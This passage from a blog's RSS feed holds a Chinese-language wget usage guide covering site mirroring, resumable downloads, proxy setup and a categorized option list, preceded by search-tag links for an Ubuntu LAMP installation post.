<a href="http://www.pkphp.com/2008/08/11/ubuntu%e4%b8%8b%e5%ae%89%e8%a3%85-apachephpmysql%e6%96%87%e6%9c%ac%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%81/" title="http://www.pkphp.com/" style="font-size: 13px;">http://www.pkphp.com/</a>(5)<a href="http://www.pkphp.com/2008/08/11/ubuntu%e4%b8%8b%e5%ae%89%e8%a3%85-apachephpmysql%e6%96%87%e6%9c%ac%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%81/" title="ubuntu php apache mysql" style="font-size: 13px;">ubuntu php apache mysql</a>(32)<a href="http://www.pkphp.com/2008/08/11/ubuntu%e4%b8%8b%e5%ae%89%e8%a3%85-apachephpmysql%e6%96%87%e6%9c%ac%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%81/" title="ubuntu php mysql" style="font-size: 13px;">ubuntu php mysql</a>(71)<a href="http://www.pkphp.com/2008/08/11/ubuntu%e4%b8%8b%e5%ae%89%e8%a3%85-apachephpmysql%e6%96%87%e6%9c%ac%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%81/" title="ubuntu apache php" style="font-size: 13px;">ubuntu apache php</a>(108)<a href="http://www.pkphp.com/2008/08/11/ubuntu%e4%b8%8b%e5%ae%89%e8%a3%85-apachephpmysql%e6%96%87%e6%9c%ac%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%81/" title="ubuntu apache php 安装" style="font-size: 13px;">ubuntu apache php 安装</a>(10)<a href="http://www.pkphp.com/2008/08/11/ubuntu%e4%b8%8b%e5%ae%89%e8%a3%85-apachephpmysql%e6%96%87%e6%9c%ac%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%81/" title="apache php" style="font-size: 13px;">apache php</a>(4)<a href="http://www.pkphp.com/2008/08/11/ubuntu%e4%b8%8b%e5%ae%89%e8%a3%85-apachephpmysql%e6%96%87%e6%9c%ac%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%81/" title="ubuntu php配置" style="font-size: 13px;">ubuntu php配置</a>(31)<a href="http://www.pkphp.com/2008/08/11/ubuntu%e4%b8%8b%e5%ae%89%e8%a3%85-apachephpmysql%e6%96%87%e6%9c%ac%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%81/" title="ubuntu下php apache安装" style="font-size: 13px;">ubuntu下php apache安装</a>(1)<a href="http://www.pkphp.com/2008/08/11/ubuntu%e4%b8%8b%e5%ae%89%e8%a3%85-apachephpmysql%e6%96%87%e6%9c%ac%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%81/" title="apache 配置" style="font-size: 13px;">apache 配置</a>(4)<a href="http://www.pkphp.com/2008/08/11/ubuntu%e4%b8%8b%e5%ae%89%e8%a3%85-apachephpmysql%e6%96%87%e6%9c%ac%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%81/" title="php 安装" style="font-size: 13px;">php 安装</a>(3)<a href="http://www.pkphp.com/2008/08/11/ubuntu%e4%b8%8b%e5%ae%89%e8%a3%85-apachephpmysql%e6%96%87%e6%9c%ac%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%81/" title="Ubuntu PHP" style="font-size: 13px;">Ubuntu PHP</a>(33)<a href="http://www.pkphp.com/2008/08/11/ubuntu%e4%b8%8b%e5%ae%89%e8%a3%85-apachephpmysql%e6%96%87%e6%9c%ac%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%81/" title="ubuntu mysql" style="font-size: 13px;">ubuntu mysql</a>(13)<a href="http://www.pkphp.com/2008/08/11/ubuntu%e4%b8%8b%e5%ae%89%e8%a3%85-apachephpmysql%e6%96%87%e6%9c%ac%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%81/" title="ubuntu 设置apache" style="font-size: 13px;">ubuntu 设置apache</a>(1)<a href="http://www.pkphp.com/2008/08/11/ubuntu%e4%b8%8b%e5%ae%89%e8%a3%85-apachephpmysql%e6%96%87%e6%9c%ac%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%81/" title="apache,php,mysql 安装" style="font-size: 13px;">apache,php,mysql 安装</a>(1)<a href="http://www.pkphp.com/2008/08/11/ubuntu%e4%b8%8b%e5%ae%89%e8%a3%85-apachephpmysql%e6%96%87%e6%9c%ac%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%81/" title="ubuntu mysql php apache" style="font-size: 13px;">ubuntu mysql php apache</a>(8)<br />]]></content:encoded>
			<wfw:commentRss>http://www.pkphp.com/2008/08/11/ubuntu%e4%b8%8b%e5%ae%89%e8%a3%85-apachephpmysql%e6%96%87%e6%9c%ac%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%81/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>wget 使用指南</title>
		<link>http://www.pkphp.com/2008/06/23/wget-%e4%bd%bf%e7%94%a8%e6%8c%87%e5%8d%97/</link>
		<comments>http://www.pkphp.com/2008/06/23/wget-%e4%bd%bf%e7%94%a8%e6%8c%87%e5%8d%97/#comments</comments>
		<pubDate>Mon, 23 Jun 2008 13:08:44 +0000</pubDate>
		<dc:creator>askie</dc:creator>
				<category><![CDATA[LAMP]]></category>
		<category><![CDATA[wget]]></category>
		<category><![CDATA[使用指南]]></category>
		<category><![CDATA[文件]]></category>
		<category><![CDATA[服务器]]></category>

		<guid isPermaLink="false">http://www.pkphp.com/?p=81</guid>
		<description><![CDATA[wget是一个从网络上自动下载文件的自由工具。它支持HTTP，HTTPS和FTP协议，可以使用HTTP代理.

所谓的自动下载是指，wget可以在用户退出系统的之后在后台执行。这意味这你可以登录系统，启动一个wget下载任务，然后退出系统，wget将在后台执行直到任务完成，相对于其它大部分浏览器在下载大量数据时需要用户一直的参与，这...]]></description>
			<content:encoded><![CDATA[<p>wget是一个从网络上自动下载文件的自由工具。它支持HTTP，HTTPS和FTP协议，可以使用HTTP代理.</p>
<p>所谓的自动下载是指，wget可以在用户退出系统的之后在后台执行。这意味这你可以登录系统，启动一个wget下载任务，然后退出系统，wget将在后台执行直到任务完成，相对于其它大部分浏览器在下载大量数据时需要用户一直的参与，这省去了极大的麻烦。</p>
<p>wget可以跟踪HTML页面上的链接依次下载来创建远程服务器的本地版本，完全重建原始站点的目录结构。这又常被称作&#8221;递归下载&#8221;。在递归下载的时候，wget遵循Robot  Exclusion标准(/robots.txt). wget可以在下载的同时，将链接转换成指向本地文件，以方便离线浏览。</p>
<p>wget非常稳定,它在带宽很窄的情况下和不稳定网络中有很强的适应性.如果是由于网络的原因下载失败，wget会不断的尝试，直到整个文件下载完 毕。如果是服务器打断下载过程，它会再次联到服务器上从停止的地方继续下载。这对从那些限定了链接时间的服务器上下载大文件非常有用。</p>
<h3>wget的常见用法</h3>
<p>wget的使用格式</p>
<pre class="example">Usage: wget [OPTION]... [URL]...</pre>
<ul>
<li>用wget做站点镜像:</li>
</ul>
<pre class="example">wget -r -p -np -k http://dsec.pku.edu.cn/~usr_name/
# 或者
wget -m http://www.tldp.org/LDP/abs/html/</pre>
<ul>
<li>在不稳定的网络上下载一个部分下载的文件，以及在空闲时段下载</li>
</ul>
<pre class="example">wget -t 0 -w 31 -c http://dsec.pku.edu.cn/BBC.avi -o down.log &amp;
# 或者从filelist读入要下载的文件列表
wget -t 0 -w 31 -c -B ftp://dsec.pku.edu.cn/linuxsoft -i filelist.txt -o down.log &amp;</pre>
<p>上面的代码还可以用来在网络比较空闲的时段进行下载。我的用法是:在mozilla中将不方便当时下载的URL链接拷贝到内存中然后粘贴到文件filelist.txt中，在晚上要出去系统前执行上面代码的第二条。</p>
<ul>
<li>使用代理下载</li>
</ul>
<pre class="example">wget -Y on -p -k https://sourceforge.net/projects/wvware/</pre>
<p>代理可以在环境变量或wgetrc文件中设定</p>
<pre class="example"># 在环境变量中设定代理
export PROXY=http://211.90.168.94:8080/
# 在~/.wgetrc中设定代理
http_proxy = http://proxy.yoyodyne.com:18023/
ftp_proxy = http://proxy.yoyodyne.com:18023/</pre>
<h3>wget各种选项分类列表</h3>
<ul>
<li>启动</li>
</ul>
<pre class="example">  -V,  --version           显示wget的版本后退出
  -h,  --help              打印语法帮助
  -b,  --background        启动后转入后台执行
  -e,  --execute=COMMAND   执行`.wgetrc'格式的命令，wgetrc格式参见/etc/wgetrc或~/.wgetrc</pre>
<ul>
<li>记录和输入文件</li>
</ul>
<pre class="example">  -o,  --output-file=FILE     把记录写到FILE文件中
  -a,  --append-output=FILE   把记录追加到FILE文件中
  -d,  --debug                打印调试输出
  -q,  --quiet                安静模式(没有输出)
  -v,  --verbose              冗长模式(这是缺省设置)
  -nv, --non-verbose          关掉冗长模式，但不是安静模式
  -i,  --input-file=FILE      下载在FILE文件中出现的URLs
  -F,  --force-html           把输入文件当作HTML格式文件对待
  -B,  --base=URL             将URL作为在-F -i参数指定的文件中出现的相对链接的前缀
       --sslcertfile=FILE     可选客户端证书
       --sslcertkey=KEYFILE   可选客户端证书的KEYFILE
       --egd-file=FILE        指定EGD socket的文件名</pre>
<ul>
<li>下载</li>
</ul>
<pre class="example">       --bind-address=ADDRESS   指定本地使用地址(主机名或IP，当本地有多个IP或名字时使用)
  -t,  --tries=NUMBER           设定最大尝试链接次数(0 表示无限制).
  -O   --output-document=FILE   把文档写到FILE文件中
  -nc, --no-clobber             不要覆盖存在的文件或使用.#前缀
  -c,  --continue               接着下载没下载完的文件
       --progress=TYPE          设定进程条标记
  -N,  --timestamping           不要重新下载文件除非比本地文件新
  -S,  --server-response        打印服务器的回应
       --spider                 不下载任何东西
  -T,  --timeout=SECONDS        设定响应超时的秒数
  -w,  --wait=SECONDS           两次尝试之间间隔SECONDS秒
       --waitretry=SECONDS      在重新链接之间等待1...SECONDS秒
       --random-wait            在下载之间等待0...2*WAIT秒
  -Y,  --proxy=on/off           打开或关闭代理
  -Q,  --quota=NUMBER           设置下载的容量限制
       --limit-rate=RATE        限定下载输率</pre>
<ul>
<li>目录</li>
</ul>
<pre class="example">  -nd  --no-directories            不创建目录
  -x,  --force-directories         强制创建目录
  -nH, --no-host-directories       不创建主机目录
  -P,  --directory-prefix=PREFIX   将文件保存到目录 PREFIX/...
       --cut-dirs=NUMBER           忽略 NUMBER层远程目录</pre>
<ul>
<li>HTTP 选项</li>
</ul>
<pre class="example">       --http-user=USER      设定HTTP用户名为 USER.
       --http-passwd=PASS    设定http密码为 PASS.
  -C,  --cache=on/off        允许/不允许服务器端的数据缓存 (一般情况下允许).
  -E,  --html-extension      将所有text/html文档以.html扩展名保存
       --ignore-length       忽略 `Content-Length'头域
       --header=STRING       在headers中插入字符串 STRING
       --proxy-user=USER     设定代理的用户名为 USER
       --proxy-passwd=PASS   设定代理的密码为 PASS
       --referer=URL         在HTTP请求中包含 `Referer: URL'头
  -s,  --save-headers        保存HTTP头到文件
  -U,  --user-agent=AGENT    设定代理的名称为 AGENT而不是 Wget/VERSION.
       --no-http-keep-alive  关闭 HTTP活动链接 (永远链接).
       --cookies=off         不使用 cookies.
       --load-cookies=FILE   在开始会话前从文件 FILE中加载cookie
       --save-cookies=FILE   在会话结束后将 cookies保存到 FILE文件中</pre>
<ul>
<li>FTP 选项</li>
</ul>
<pre class="example">  -nr, --dont-remove-listing   不移走 `.listing'文件
  -g,  --glob=on/off           打开或关闭文件名的 globbing机制
       --passive-ftp           使用被动传输模式 (缺省值).
       --active-ftp            使用主动传输模式
       --retr-symlinks         在递归的时候，将链接指向文件(而不是目录)</pre>
<ul>
<li>递归下载</li>
</ul>
<pre class="example">  -r,  --recursive          递归下载－－慎用!
  -l,  --level=NUMBER       最大递归深度 (inf 或 0 代表无穷).
       --delete-after       在现在完毕后局部删除文件
  -k,  --convert-links      转换非相对链接为相对链接
  -K,  --backup-converted   在转换文件X之前，将之备份为 X.orig
  -m,  --mirror             等价于 -r -N -l inf -nr.
  -p,  --page-requisites    下载显示HTML文件的所有图片</pre>
<ul>
<li>递归下载中的包含和不包含(accept/reject)</li>
</ul>
<pre class="example">  -A,  --accept=LIST                分号分隔的被接受扩展名的列表
  -R,  --reject=LIST                分号分隔的不被接受的扩展名的列表
  -D,  --domains=LIST               分号分隔的被接受域的列表
       --exclude-domains=LIST       分号分隔的不被接受的域的列表
       --follow-ftp                 跟踪HTML文档中的FTP链接
       --follow-tags=LIST           分号分隔的被跟踪的HTML标签的列表
  -G,  --ignore-tags=LIST           分号分隔的被忽略的HTML标签的列表
  -H,  --span-hosts                 当递归时转到外部主机
  -L,  --relative                   仅仅跟踪相对链接
  -I,  --include-directories=LIST   允许目录的列表
  -X,  --exclude-directories=LIST   不被包含目录的列表
  -np, --no-parent                  不要追溯到父目录</pre>
<h3>问题</h3>
<p>在递归下载的时候，遇到目录中有中文的时候，wget创建的本地目录名会用URL编码规则处理。如&#8221;天网防火墙&#8221;会被存为&#8221;%CC%EC%CD%F8%B7%C0%BB%F0%C7%BD&#8221;,这造成阅读上的极大不方便。<br />
<h3 class="bsuite_related">Related items</h3>
<ul class="bsuite_related">
<li><a href='http://www.pkphp.com/2008/08/30/520zuixin-com-linux-secure-iptables/'>如何防止服务器被暴力破解密码？</a></li>
<li><a href='http://www.pkphp.com/2008/08/29/webalizer-%e5%ae%89%e8%a3%85%e4%bd%bf%e7%94%a8%e6%8c%87%e5%8d%97/'>Webalizer 安装使用指南</a></li>
<li><a href='http://www.pkphp.com/2008/08/11/ubuntu%e4%b8%8b%e5%ae%89%e8%a3%85-apachephpmysql%e6%96%87%e6%9c%ac%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%81/'>Ubuntu下安装 apache+php+mysql文本服务器！</a></li>
<li><a href='http://www.pkphp.com/2011/04/07/centos-iftop/'>centOS带宽实时流量查看工具</a></li>
<li><a href='http://www.pkphp.com/2010/01/25/svn-report-svn-vcc-default/'>svn: REPORT 请求“/!svn/vcc/default”失败 解决办法</a></li>
</ul>
<a href="http://www.pkphp.com/2008/06/23/wget-%e4%bd%bf%e7%94%a8%e6%8c%87%e5%8d%97/" title="wget 下载 大文件" style="font-size: 13px;">wget 下载 大文件</a>(1)<a href="http://www.pkphp.com/2008/06/23/wget-%e4%bd%bf%e7%94%a8%e6%8c%87%e5%8d%97/" title="wget文件名" style="font-size: 13px;">wget文件名</a>(1)<a href="http://www.pkphp.com/2008/06/23/wget-%e4%bd%bf%e7%94%a8%e6%8c%87%e5%8d%97/" title="wget 使用" style="font-size: 13px;">wget 使用</a>(3)<a href="http://www.pkphp.com/2008/06/23/wget-%e4%bd%bf%e7%94%a8%e6%8c%87%e5%8d%97/" title="wget 转换 php" style="font-size: 13px;">wget 转换 php</a>(1)<a href="http://www.pkphp.com/2008/06/23/wget-%e4%bd%bf%e7%94%a8%e6%8c%87%e5%8d%97/" title="wget 中文" style="font-size: 13px;">wget 中文</a>(1)<a href="http://www.pkphp.com/2008/06/23/wget-%e4%bd%bf%e7%94%a8%e6%8c%87%e5%8d%97/" title="wget 离线浏览 php mysql" style="font-size: 13px;">wget 离线浏览 php mysql</a>(1)<a href="http://www.pkphp.com/2008/06/23/wget-%e4%bd%bf%e7%94%a8%e6%8c%87%e5%8d%97/" title="wget 编码" style="font-size: 13px;">wget 编码</a>(3)<a href="http://www.pkphp.com/2008/06/23/wget-%e4%bd%bf%e7%94%a8%e6%8c%87%e5%8d%97/" title="wget文件列表" style="font-size: 13px;">wget文件列表</a>(1)<a href="http://www.pkphp.com/2008/06/23/wget-%e4%bd%bf%e7%94%a8%e6%8c%87%e5%8d%97/" title="wget 文件列表" style="font-size: 13px;">wget 文件列表</a>(6)<a href="http://www.pkphp.com/2008/06/23/wget-%e4%bd%bf%e7%94%a8%e6%8c%87%e5%8d%97/" title="wgetrc 指定proxy" style="font-size: 13px;">wgetrc 指定proxy</a>(1)<a href="http://www.pkphp.com/2008/06/23/wget-%e4%bd%bf%e7%94%a8%e6%8c%87%e5%8d%97/" title="wget 下载 失败" style="font-size: 13px;">wget 下载 失败</a>(1)<a href="http://www.pkphp.com/2008/06/23/wget-%e4%bd%bf%e7%94%a8%e6%8c%87%e5%8d%97/" title="wget cookie file" style="font-size: 13px;">wget cookie file</a>(1)<a href="http://www.pkphp.com/2008/06/23/wget-%e4%bd%bf%e7%94%a8%e6%8c%87%e5%8d%97/" title="taobao post wget" style="font-size: 13px;">taobao post wget</a>(1)<a href="http://www.pkphp.com/2008/06/23/wget-%e4%bd%bf%e7%94%a8%e6%8c%87%e5%8d%97/" title="wget 大文件" style="font-size: 13px;">wget 大文件</a>(1)<a href="http://www.pkphp.com/2008/06/23/wget-%e4%bd%bf%e7%94%a8%e6%8c%87%e5%8d%97/" title="wget" style="font-size: 13px;">wget</a>(2)<br />]]></content:encoded>
			<wfw:commentRss>http://www.pkphp.com/2008/06/23/wget-%e4%bd%bf%e7%94%a8%e6%8c%87%e5%8d%97/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

